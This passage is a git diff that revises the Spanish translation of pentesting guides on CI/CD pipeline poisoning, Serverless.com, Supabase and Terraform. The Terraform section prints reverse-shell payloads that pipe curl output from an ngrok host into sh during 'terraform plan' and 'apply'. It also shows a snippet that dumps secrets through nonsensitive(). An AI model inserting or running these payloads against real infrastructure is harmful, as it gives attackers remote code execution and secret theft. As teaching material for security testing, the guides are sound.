**utilizado** en un **lugar peligroso** (como ejecutar **comandos sh**), un atacante podría **inyectar comandos allí**. +- **D-PPE**: Un ataque **Directo PPE** ocurre cuando el actor **modifica el archivo de configuración CI** que se va a ejecutar. +- **I-DDE**: Un ataque **Indirecto PPE** ocurre cuando el actor **modifica** un **archivo** del que el archivo de configuración CI que se va a ejecutar **depende** (como un archivo make o una configuración de terraform). +- **PPE Público o 3PE**: En algunos casos, los pipelines pueden ser **activados por usuarios que no tienen acceso de escritura en el repositorio** (y que podrían ni siquiera ser parte de la organización) porque pueden enviar un PR. +- **Inyección de Comandos 3PE**: Generalmente, los pipelines CI/CD **configuran variables de entorno** con **información sobre el PR**. Si ese valor puede ser controlado por un atacante (como el título del PR) y se **usa** en un **lugar peligroso** (como ejecutar **comandos sh**), un atacante podría **inyectar comandos allí**. -### Exploitation Benefits +### Beneficios de la Explotación -Conociendo los 3 sabores para envenenar una pipeline, veamos qué podría obtener un atacante después de una explotación exitosa: +Conociendo los 3 sabores para envenenar un pipeline, veamos qué podría obtener un atacante después de una explotación exitosa: -- **Secrets**: Como se mencionó anteriormente, las pipelines requieren **privilegios** para sus trabajos (recuperar el código, construirlo, desplegarlo...) y estos privilegios generalmente están **otorgados en secretos**. Estos secretos son generalmente accesibles a través de **variables de entorno o archivos dentro del sistema**. Por lo tanto, un atacante siempre intentará exfiltrar tantos secretos como sea posible. -- Dependiendo de la plataforma de la pipeline, el atacante **podría necesitar especificar los secretos en la configuración**. Esto significa que si el atacante no puede modificar la pipeline de configuración de CI (**I-PPE** por ejemplo), podría **solo exfiltrar los secretos que tiene esa pipeline**. -- **Computation**: El código se ejecuta en algún lugar, dependiendo de dónde se ejecute, un atacante podría ser capaz de pivotar más. -- **On-Premises**: Si las pipelines se ejecutan en las instalaciones, un atacante podría terminar en una **red interna con acceso a más recursos**. -- **Cloud**: El atacante podría acceder a **otras máquinas en la nube** pero también podría **exfiltrar** tokens de cuentas de servicio/roles IAM **de ella para obtener** **más acceso dentro de la nube**. -- **Platforms machine**: A veces los trabajos se ejecutarán dentro de las **máquinas de la plataforma de pipelines**, que generalmente están dentro de una nube con **sin más acceso**. -- **Select it:** A veces la **plataforma de pipelines tendrá configuradas varias máquinas** y si puedes **modificar el archivo de configuración de CI** puedes **indicar dónde quieres ejecutar el código malicioso**. En esta situación, un atacante probablemente ejecutará un shell inverso en cada máquina posible para intentar explotarla más. -- **Compromise production**: Si estás dentro de la pipeline y la versión final se construye y despliega desde ella, podrías **comprometer el código que va a terminar ejecutándose en producción**. +- **Secretos**: Como se mencionó anteriormente, los pipelines requieren **privilegios** para sus trabajos (recuperar el código, construirlo, desplegarlo...) y estos privilegios generalmente están **otorgados en secretos**. Estos secretos son generalmente accesibles a través de **variables de entorno o archivos dentro del sistema**. Por lo tanto, un atacante siempre intentará exfiltrar tantos secretos como sea posible. +- Dependiendo de la plataforma del pipeline, el atacante **podría necesitar especificar los secretos en la configuración**. Esto significa que si el atacante no puede modificar la configuración del pipeline CI (**I-PPE** por ejemplo), podría **solo exfiltrar los secretos que tiene ese pipeline**. +- **Cómputo**: El código se ejecuta en algún lugar, dependiendo de dónde se ejecute, un atacante podría ser capaz de pivotar más allá. +- **On-Premises**: Si los pipelines se ejecutan en las instalaciones, un atacante podría terminar en una **red interna con acceso a más recursos**. +- **Nube**: El atacante podría acceder a **otras máquinas en la nube** pero también podría **exfiltrar** tokens de cuentas de servicio/roles IAM **de ella para obtener** **más acceso dentro de la nube**. +- **Máquina de plataformas**: A veces los trabajos se ejecutarán dentro de las **máquinas de la plataforma de pipelines**, que generalmente están dentro de una nube con **sin más acceso**. +- **Seleccionarlo:** A veces la **plataforma de pipelines tendrá configuradas varias máquinas** y si puedes **modificar el archivo de configuración CI**, puedes **indicar dónde quieres ejecutar el código malicioso**. En esta situación, un atacante probablemente ejecutará un shell inverso en cada máquina posible para intentar explotarla más. +- **Comprometer producción**: Si estás dentro del pipeline y la versión final se construye y despliega desde él, podrías **comprometer el código que va a terminar ejecutándose en producción**. -## More relevant info +## Más información relevante -### Tools & CIS Benchmark +### Herramientas y Benchmark CIS -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) es una herramienta de código abierto para auditar tu cadena de suministro de software para cumplimiento de seguridad basada en un nuevo [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). La auditoría se centra en todo el proceso SDLC, donde puede revelar riesgos desde el tiempo de código hasta el tiempo de despliegue. +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) es una herramienta de código abierto para auditar tu pila de cadena de suministro de software para cumplimiento de seguridad basado en un nuevo [**benchmark de Seguridad de Cadena de Suministro de Software CIS**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). La auditoría se centra en todo el proceso SDLC, donde puede revelar riesgos desde el tiempo de código hasta el tiempo de despliegue. -### Top 10 CI/CD Security Risk +### Top 10 Riesgos de Seguridad CI/CD Consulta este interesante artículo sobre los 10 principales riesgos de CI/CD según Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) -### Labs +### Laboratorios -- En cada plataforma que puedes ejecutar localmente encontrarás cómo lanzarla localmente para que puedas configurarla como desees para probarla. +- En cada plataforma que puedes ejecutar localmente encontrarás cómo lanzarlo localmente para que puedas configurarlo como desees para probarlo. - Laboratorio Gitea + Jenkins: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) -### Automatic Tools +### Herramientas Automáticas - [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** es una herramienta de análisis de código estático para infraestructura como código. -## References +## Referencias - [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422) diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md index c29aecd4a..f67e2e8eb 100644 --- a/src/pentesting-ci-cd/serverless.com-security.md +++ b/src/pentesting-ci-cd/serverless.com-security.md @@ -1,4 +1,4 @@ -# Serverless.com Security +# Seguridad de Serverless.com {{#include ../banners/hacktricks-training.md}} @@ -96,7 +96,7 @@ WriteCapacityUnits: 1 Proveedor -El **Proveedor** objeto especifica el proveedor de servicios en la nube (por ejemplo, AWS, Azure, Google Cloud) y contiene configuraciones relevantes para ese proveedor. +El objeto **Proveedor** especifica el proveedor de servicios en la nube (por ejemplo, AWS, Azure, Google Cloud) y contiene configuraciones relevantes para ese proveedor. Incluye detalles como el tiempo de ejecución, la región, la etapa y las credenciales. ```yaml @@ -112,7 +112,7 @@ stage: dev Etapa y Región -La etapa representa diferentes entornos (por ejemplo, desarrollo, preproducción, producción) donde su servicio puede ser desplegado. Permite configuraciones y despliegues específicos del entorno. +La etapa representa diferentes entornos (por ejemplo, desarrollo, preproducción, producción) donde tu servicio puede ser desplegado. Permite configuraciones y despliegues específicos del entorno. ```yaml provider: stage: dev @@ -140,7 +140,7 @@ plugins: Capas -**Capas** te permiten empaquetar y gestionar código compartido o dependencias por separado de tus funciones. Esto promueve la reutilización y reduce el tamaño de los paquetes de despliegue. Se definen en la sección `layers` y son referenciadas por las funciones. +**Capas** te permiten empaquetar y gestionar código compartido o dependencias por separado de tus funciones. Esto promueve la reutilización y reduce el tamaño de los paquetes de implementación. Se definen en la sección `layers` y son referenciadas por las funciones. ```yaml layers: commonLibs: @@ -183,7 +183,7 @@ stage: ${opt:stage, 'dev'} Salidas -**Salidas** definen los valores que se devuelven después de que un servicio es implementado, como ARNs de recursos, puntos finales u otra información útil. Se especifican en la sección `outputs` y a menudo se utilizan para exponer información a otros servicios o para un acceso fácil después de la implementación. +**Salidas** definen los valores que se devuelven después de que un servicio es implementado, como ARNs de recursos, puntos finales u otra información útil. Se especifican en la sección `outputs` y a menudo se utilizan para exponer información a otros servicios o para un fácil acceso después de la implementación. ```yaml ¡outputs: ApiEndpoint: @@ -243,7 +243,7 @@ TABLE_NAME: ${self:custom.tableName} Dependencias -**Dependencias** gestionan las bibliotecas y módulos externos que requieren tus funciones. Normalmente se manejan a través de administradores de paquetes como npm o pip, y se empaquetan con tu paquete de despliegue utilizando herramientas o complementos como `serverless-webpack`. +**Dependencias** gestionan las bibliotecas y módulos externos que requieren tus funciones. Generalmente se manejan a través de administradores de paquetes como npm o pip, y se empaquetan con tu paquete de despliegue utilizando herramientas o complementos como `serverless-webpack`. ```yaml plugins: - serverless-webpack @@ -325,7 +325,7 @@ method: get 4. Crea un proveedor de AWS, yendo al **dashboard** en `https://app.serverless.com//settings/providers?providerId=new&provider=aws`. 1. Para dar acceso a `serverless.com` a AWS, pedirá ejecutar una pila de cloudformation usando este archivo de configuración (en el momento de escribir esto): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) -2. Esta plantilla genera un rol llamado **`SFRole-`** con **`arn:aws:iam::aws:policy/AdministratorAccess`** sobre la cuenta con una Identidad de Confianza que permite a la cuenta de AWS de `Serverless.com` acceder al rol. +2. Esta plantilla genera un rol llamado **`SFRole-`** con **`arn:aws:iam::aws:policy/AdministratorAccess`** sobre la cuenta con una Identidad de Confianza que permite que la cuenta de AWS de `Serverless.com` acceda al rol.
@@ -482,7 +482,7 @@ TableName: ${self:service}-customerTable-${sls:stage} {{#endtabs }} 6. Despliegue ejecutando **`serverless deploy`** -1. El despliegue se realizará a través de una pila de CloudFormation +1. El despliegue se realizará a través de un CloudFormation Stack 2. Tenga en cuenta que las **lambdas están expuestas a través de API gateway** y no a través de URLs directas 7. **Pruébelo** 1. El paso anterior imprimirá las **URLs** donde se han desplegado las funciones lambda de sus puntos finales de API @@ -564,10 +564,10 @@ provider: environment: DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true} ``` -And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **added in clear text inside the lambda environment variable**. +Y incluso si esto previene la codificación dura del valor de la variable de entorno en el **`serverless.yml`**, el valor se obtendrá en el momento de la implementación y se **agregará en texto claro dentro de la variable de entorno de lambda**. > [!TIP] -> La forma recomendada de almacenar variables de entorno usando serveless.com sería **almacenarla en un secreto de AWS** y solo almacenar el nombre del secreto en la variable de entorno y el **código lambda debería recogerlo**. +> La forma recomendada de almacenar variables de entorno usando serveless.com sería **almacenarla en un secreto de AWS** y solo almacenar el nombre del secreto en la variable de entorno y el **código de lambda debería recogerlo**. #### **Estrategias de Mitigación** @@ -592,7 +592,7 @@ plugins: ``` - **Validación de Entradas:** Implementar una validación y sanitización estrictas de todas las entradas. -- **Revisiones de Código:** Realizar revisiones exhaustivas para identificar fallos de seguridad. +- **Revisiones de Código:** Realizar revisiones exhaustivas para identificar fallas de seguridad. - **Análisis Estático:** Utilizar herramientas para detectar vulnerabilidades en la base de código. --- @@ -665,7 +665,7 @@ headers: --- -### **Aislamiento de Funciones Insuficiente** +### **Aislamiento Insuficiente de Funciones** Recursos compartidos y un aislamiento inadecuado pueden llevar a escalaciones de privilegios o interacciones no deseadas entre funciones. @@ -759,7 +759,7 @@ Usar plugins de terceros no verificados o maliciosos puede introducir vulnerabil #### **Estrategias de Mitigación** -- **Evaluar Plugins a Fondo:** Evaluar la seguridad de los plugins antes de la integración, favoreciendo aquellos de fuentes reputables. +- **Evaluar Plugins a Fondo:** Evaluar la seguridad de los plugins antes de la integración, favoreciendo aquellos de fuentes reputadas. - **Limitar el Uso de Plugins:** Usar solo los plugins necesarios para minimizar la superficie de ataque. - **Monitorear Actualizaciones de Plugins:** Mantener los plugins actualizados para beneficiarse de parches de seguridad. - **Aislar Entornos de Plugins:** Ejecutar plugins en entornos aislados para contener posibles compromisos. @@ -774,14 +774,14 @@ Funciones accesibles públicamente o APIs sin restricciones pueden ser explotada - **Restringir el Acceso a Funciones:** Usar VPCs, grupos de seguridad y reglas de firewall para limitar el acceso a fuentes confiables. - **Implementar Autenticación Robusta:** Asegurarse de que todos los puntos finales expuestos requieran autenticación y autorización adecuadas. -- **Usar API Gateways de Forma Segura:** Configurar API Gateways para hacer cumplir políticas de seguridad, incluyendo validación de entradas y limitación de tasas. +- **Usar API Gateways de Forma Segura:** Configurar API Gateways para hacer cumplir políticas de seguridad, incluyendo validación de entradas y limitación de tasa. - **Deshabilitar Puntos Finales No Utilizados:** Revisar regularmente y deshabilitar cualquier punto final que ya no esté en uso. --- ### **Permisos Excesivos para Miembros del Equipo y Colaboradores Externos** -Conceder permisos excesivos a miembros del equipo y colaboradores externos puede llevar a acceso no autorizado, brechas de datos y uso indebido de recursos. Este riesgo se incrementa en entornos donde múltiples individuos tienen diferentes niveles de acceso, aumentando la superficie de ataque y el potencial de amenazas internas. +Conceder permisos excesivos a miembros del equipo y colaboradores externos puede llevar a acceso no autorizado, brechas de datos y uso indebido de recursos. Este riesgo se agrava en entornos donde múltiples individuos tienen diferentes niveles de acceso, aumentando la superficie de ataque y el potencial de amenazas internas. #### **Estrategias de Mitigación** @@ -791,17 +791,17 @@ Conceder permisos excesivos a miembros del equipo y colaboradores externos puede ### **Seguridad de Claves de Acceso y Claves de Licencia** -**Claves de Acceso** y **Claves de Licencia** son credenciales críticas utilizadas para autenticar y autorizar interacciones con la CLI de Serverless Framework. +**Claves de Acceso** y **Claves de Licencia** son credenciales críticas utilizadas para autenticar y autorizar interacciones con el CLI de Serverless Framework. -- **Claves de Licencia:** Son identificadores únicos requeridos para autenticar el acceso a Serverless Framework Versión 4 que permite iniciar sesión a través de la CLI. -- **Claves de Acceso:** Credenciales que permiten a la CLI de Serverless Framework autenticarse con el Dashboard de Serverless Framework. Al iniciar sesión con la CLI `serverless`, se generará y almacenará una clave de acceso en la **computadora portátil**. También puede configurarse como una variable de entorno llamada `SERVERLESS_ACCESS_KEY`. +- **Claves de Licencia:** Son identificadores únicos requeridos para autenticar el acceso a Serverless Framework Versión 4 que permite iniciar sesión a través del CLI. +- **Claves de Acceso:** Credenciales que permiten al CLI de Serverless Framework autenticarse con el Dashboard de Serverless Framework. Al iniciar sesión con el cli `serverless`, se generará y almacenará una clave de acceso en la **computadora portátil**. También puede configurarse como una variable de entorno llamada `SERVERLESS_ACCESS_KEY`. #### **Riesgos de Seguridad** 1. **Exposición a Través de Repositorios de Código:** - Codificar o comprometer accidentalmente Claves de Acceso y Claves de Licencia en sistemas de control de versiones puede llevar a acceso no autorizado. 2. **Almacenamiento Inseguro:** -- Almacenar claves en texto plano dentro de variables de entorno o archivos de configuración sin la encriptación adecuada aumenta la probabilidad de filtraciones. +- Almacenar claves en texto claro dentro de variables de entorno o archivos de configuración sin la encriptación adecuada aumenta la probabilidad de filtraciones. 3. **Distribución Inadecuada:** - Compartir claves a través de canales no seguros (por ejemplo, correo electrónico, chat) puede resultar en la interceptación por actores maliciosos. 4. **Falta de Rotación:** diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md index 4a00000a1..475823506 100644 --- a/src/pentesting-ci-cd/supabase-security.md +++ b/src/pentesting-ci-cd/supabase-security.md @@ -1,4 +1,4 @@ -# Supabase Security +# Seguridad de Supabase {{#include ../banners/hacktricks-training.md}} @@ -35,7 +35,7 @@ Esta sección también contiene opciones para: La URL para acceder a la API de supabase en tu proyecto será como: `https://jnanozjdybtpqgcwhdiz.supabase.co`. -### claves api anon +### claves de api anon También generará una **clave API anon** (`role: "anon"`), como: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` que la aplicación necesitará usar para contactar la clave API expuesta en nuestro ejemplo en @@ -99,7 +99,7 @@ Priority: u=1, i ```
-Entonces, cada vez que descubras un cliente que utiliza supabase con el subdominio que se le otorgó (es posible que un subdominio de la empresa tenga un CNAME sobre su subdominio de supabase), podrías intentar **crear una nueva cuenta en la plataforma utilizando la API de supabase**. +Así que, cada vez que descubras un cliente que utiliza supabase con el subdominio que se le otorgó (es posible que un subdominio de la empresa tenga un CNAME sobre su subdominio de supabase), podrías intentar **crear una nueva cuenta en la plataforma utilizando la API de supabase**. ### claves api secretas / service_role @@ -107,9 +107,9 @@ Una clave API secreta también se generará con **`role: "service_role"`**. Esta La clave API se ve así: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354` -### Secreto JWT +### JWT Secret -Un **secreto JWT** también se generará para que la aplicación pueda **crear y firmar tokens JWT personalizados**. +Un **JWT Secret** también se generará para que la aplicación pueda **crear y firmar tokens JWT personalizados**. ## Autenticación @@ -119,7 +119,7 @@ Un **secreto JWT** también se generará para que la aplicación pueda **crear y > Por **defecto**, supabase permitirá **que nuevos usuarios creen cuentas** en tu proyecto utilizando los endpoints de API mencionados anteriormente. Sin embargo, estas nuevas cuentas, por defecto, **necesitarán validar su dirección de correo electrónico** para poder iniciar sesión en la cuenta. Es posible habilitar **"Permitir inicios de sesión anónimos"** para permitir que las personas inicien sesión sin verificar su dirección de correo electrónico. Esto podría otorgar acceso a **datos inesperados** (obtienen los roles `public` y `authenticated`).\ -Esta es una muy mala idea porque supabase cobra por usuario activo, por lo que las personas podrían crear usuarios e iniciar sesión y supabase cobrará por esos: +Esta es una muy mala idea porque supabase cobra por usuario activo, así que las personas podrían crear usuarios e iniciar sesión y supabase cobrará por esos:
diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index e538023a3..928ad9a7d 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -6,19 +6,19 @@ [De la documentación:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform es una **herramienta de infraestructura como código** que te permite definir tanto **recursos en la nube como en local** en archivos de configuración legibles por humanos que puedes versionar, reutilizar y compartir. Luego puedes usar un flujo de trabajo consistente para aprovisionar y gestionar toda tu infraestructura a lo largo de su ciclo de vida. Terraform puede gestionar componentes de bajo nivel como recursos de computación, almacenamiento y redes, así como componentes de alto nivel como entradas DNS y características de SaaS. +HashiCorp Terraform es una **herramienta de infraestructura como código** que te permite definir tanto **recursos en la nube como locales** en archivos de configuración legibles por humanos que puedes versionar, reutilizar y compartir. Luego puedes usar un flujo de trabajo consistente para aprovisionar y gestionar toda tu infraestructura a lo largo de su ciclo de vida. Terraform puede gestionar componentes de bajo nivel como recursos de computación, almacenamiento y redes, así como componentes de alto nivel como entradas DNS y características de SaaS. #### ¿Cómo funciona Terraform? -Terraform crea y gestiona recursos en plataformas en la nube y otros servicios a través de sus interfaces de programación de aplicaciones (APIs). Los proveedores permiten que Terraform funcione con prácticamente cualquier plataforma o servicio con una API accesible. +Terraform crea y gestiona recursos en plataformas en la nube y otros servicios a través de sus interfaces de programación de aplicaciones (APIs). Los proveedores permiten que Terraform trabaje con prácticamente cualquier plataforma o servicio con una API accesible. ![](<../images/image (177).png>) -HashiCorp y la comunidad de Terraform ya han escrito **más de 1700 proveedores** para gestionar miles de tipos diferentes de recursos y servicios, y este número sigue creciendo. Puedes encontrar todos los proveedores disponibles públicamente en el [Registro de Terraform](https://registry.terraform.io/), incluyendo Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, y muchos más. +HashiCorp y la comunidad de Terraform ya han escrito **más de 1700 proveedores** para gestionar miles de diferentes tipos de recursos y servicios, y este número sigue creciendo. Puedes encontrar todos los proveedores disponibles públicamente en el [Registro de Terraform](https://registry.terraform.io/), incluyendo Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, y muchos más. -El flujo de trabajo principal de Terraform consta de tres etapas: +El flujo de trabajo central de Terraform consta de tres etapas: -- **Escribir:** Definís recursos, que pueden estar en múltiples proveedores y servicios en la nube. Por ejemplo, podrías crear una configuración para desplegar una aplicación en máquinas virtuales en una red de Nube Privada Virtual (VPC) con grupos de seguridad y un balanceador de carga. +- **Escribir:** Defines recursos, que pueden estar en múltiples proveedores y servicios en la nube. Por ejemplo, podrías crear una configuración para desplegar una aplicación en máquinas virtuales en una red de Nube Privada Virtual (VPC) con grupos de seguridad y un balanceador de carga. - **Planificar:** Terraform crea un plan de ejecución que describe la infraestructura que creará, actualizará o destruirá en función de la infraestructura existente y tu configuración. - **Aplicar:** Con la aprobación, Terraform realiza las operaciones propuestas en el orden correcto, respetando cualquier dependencia de recursos. Por ejemplo, si actualizas las propiedades de una VPC y cambias el número de máquinas virtuales en esa VPC, Terraform recreará la VPC antes de escalar las máquinas virtuales. @@ -44,15 +44,15 @@ De hecho, hay soluciones que **ejecutan terraform plan/apply automáticamente de atlantis-security.md {{#endref}} -Si puedes comprometer un archivo de terraform, hay diferentes maneras en que puedes realizar RCE cuando alguien ejecuta `terraform plan` o `terraform apply`. +Si puedes comprometer un archivo de terraform, hay diferentes formas en que puedes realizar RCE cuando alguien ejecuta `terraform plan` o `terraform apply`. ### Terraform plan -Terraform plan es el **comando más utilizado** en terraform y los desarrolladores/soluciones que utilizan terraform lo llaman todo el tiempo, por lo que la **manera más fácil de obtener RCE** es asegurarte de envenenar un archivo de configuración de terraform que ejecute comandos arbitrarios en un `terraform plan`. +Terraform plan es el **comando más utilizado** en terraform y los desarrolladores/soluciones que utilizan terraform lo llaman todo el tiempo, así que la **manera más fácil de obtener RCE** es asegurarte de envenenar un archivo de configuración de terraform que ejecute comandos arbitrarios en un `terraform plan`. **Usando un proveedor externo** -Terraform ofrece el [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) que proporciona una forma de interfaz entre Terraform y programas externos. Puedes usar la fuente de datos `external` para ejecutar código arbitrario durante un `plan`. +Terraform ofrece el [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) que proporciona una forma de interaccionar entre Terraform y programas externos. Puedes usar la fuente de datos `external` para ejecutar código arbitrario durante un `plan`. Inyectar en un archivo de configuración de terraform algo como lo siguiente ejecutará un rev shell al ejecutar `terraform plan`: ```javascript @@ -62,7 +62,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh" ``` **Usando un proveedor personalizado** -Un atacante podría enviar un [proveedor personalizado](https://learn.hashicorp.com/tutorials/terraform/provider-setup) al [Registro de Terraform](https://registry.terraform.io/) y luego agregarlo al código de Terraform en una rama de características ([ejemplo de aquí](https://alex.kaskaso.li/post/terraform-plan-rce)): +Un atacante podría enviar un [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) al [Terraform Registry](https://registry.terraform.io/) y luego agregarlo al código de Terraform en una rama de características ([ejemplo de aquí](https://alex.kaskaso.li/post/terraform-plan-rce)): ```javascript terraform { required_providers { @@ -114,19 +114,19 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" ``` Sigue las **sugerencias de la técnica anterior** para realizar este ataque de una **manera más sigilosa utilizando referencias externas**. -## Volcados de secretos +## Extracción de secretos -Puedes tener **valores secretos utilizados por terraform volcados** ejecutando `terraform apply` al agregar al archivo de terraform algo como: +Puedes tener **valores secretos utilizados por terraform extraídos** ejecutando `terraform apply` al agregar al archivo de terraform algo como: ```json output "dotoken" { value = nonsensitive(var.do_token) } ``` -## Abusing Terraform State Files +## Abusando de los Archivos de Estado de Terraform En caso de que tengas acceso de escritura sobre los archivos de estado de terraform pero no puedas cambiar el código de terraform, [**esta investigación**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) ofrece algunas opciones interesantes para aprovechar el archivo: -### Deleting resources +### Eliminando recursos Hay 2 formas de destruir recursos: @@ -148,9 +148,9 @@ Porque terraform verá que el recurso no debería existir, lo destruirá (siguie ] }, ``` -2. **Modificar el recurso para eliminar de manera que no sea posible actualizar (así será eliminado y recreado)** +2. **Modificar el recurso para eliminarlo de manera que no sea posible actualizarlo (así será eliminado y recreado)** -Para una instancia EC2, modificar el tipo de la instancia es suficiente para que terraform la elimine y la recree. +Para una instancia de EC2, modificar el tipo de la instancia es suficiente para que terraform la elimine y la recree. ### RCE @@ -195,7 +195,7 @@ Snyk ofrece una solución integral de escaneo de Infrastructure as Code (IaC) qu - **Características:** - Escaneo en tiempo real para vulnerabilidades de seguridad y problemas de cumplimiento. - Integración con sistemas de control de versiones (GitHub, GitLab, Bitbucket). -- Solicitudes de extracción de corrección automatizadas. +- Solicitudes de extracción para correcciones automáticas. - Consejos detallados de remediación. - **Regístrate:** Crea una cuenta en [Snyk](https://snyk.io/). ```bash @@ -210,18 +210,18 @@ snyk iac test /path/to/terraform/code Escanea la infraestructura en la nube provisionada utilizando [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) o [OpenTofu](https://opentofu.org/) y detecta configuraciones incorrectas de seguridad y cumplimiento utilizando escaneo basado en gráficos. -Realiza [análisis de composición de software (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) que es un escaneo de paquetes de código abierto e imágenes para Vulnerabilidades y Exposiciones Comunes (CVEs). +Realiza un [análisis de composición de software (SCA)](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Sca.md) que es un escaneo de paquetes de código abierto e imágenes para Vulnerabilidades y Exposiciones Comunes (CVEs). ```bash pip install checkov checkov -d /path/to/folder ``` ### [terraform-compliance](https://github.com/terraform-compliance/cli) -De los [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` es un marco de prueba ligero, enfocado en la seguridad y el cumplimiento, contra terraform para habilitar la capacidad de pruebas negativas para tu infraestructura como código. +Desde la [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` es un marco de prueba ligero, enfocado en seguridad y cumplimiento, contra terraform para habilitar la capacidad de pruebas negativas para tu infraestructura como código. - **cumplimiento:** Asegúrate de que el código implementado siga los estándares de seguridad, tus propios estándares personalizados. - **desarrollo guiado por comportamiento:** Tenemos BDD para casi todo, ¿por qué no para IaC? -- **portátil:** solo instálalo desde `pip` o ejecútalo a través de `docker`. Consulta [Instalación](https://terraform-compliance.com/pages/installation/) +- **portátil:** solo instálalo desde `pip` o ejecútalo a través de `docker`. Ver [Instalación](https://terraform-compliance.com/pages/installation/) - **pre-despliegue:** valida tu código antes de que se despliegue. - **fácil de integrar:** puede ejecutarse en tu pipeline (o en ganchos de git) para asegurar que todos los despliegues sean validados. - **segregación de deberes:** puedes mantener tus pruebas en un repositorio diferente donde un equipo separado sea responsable. @@ -235,19 +235,19 @@ terraform-compliance -f /path/to/folder ``` ### [tfsec](https://github.com/aquasecurity/tfsec) -De la [**documentación**](https://github.com/aquasecurity/tfsec): tfsec utiliza análisis estático de tu código de terraform para detectar posibles configuraciones incorrectas. +De los [**docs**](https://github.com/aquasecurity/tfsec): tfsec utiliza análisis estático de tu código de terraform para detectar posibles configuraciones incorrectas. - ☁️ Verifica configuraciones incorrectas en todos los principales (y algunos menores) proveedores de nube - ⛔ Cientos de reglas integradas - 🪆 Escanea módulos (locales y remotos) - ➕ Evalúa expresiones HCL así como valores literales -- ↪️ Evalúa funciones de Terraform, por ejemplo, `concat()` +- ↪️ Evalúa funciones de Terraform e.g. `concat()` - 🔗 Evalúa relaciones entre recursos de Terraform -- 🧰 Compatible con el CDK de Terraform -- 🙅 Aplica (y embellece) políticas de Rego definidas por el usuario +- 🧰 Compatible con el Terraform CDK +- 🙅 Aplica (y embellece) políticas Rego definidas por el usuario - 📃 Soporta múltiples formatos de salida: lovely (predeterminado), JSON, SARIF, CSV, CheckStyle, JUnit, texto, Gif. - 🛠️ Configurable (a través de flags de CLI y/o archivo de configuración) -- ⚡ Muy rápido, capaz de escanear rápidamente grandes repositorios +- ⚡ Muy rápido, capaz de escanear rápidamente enormes repositorios ```bash brew 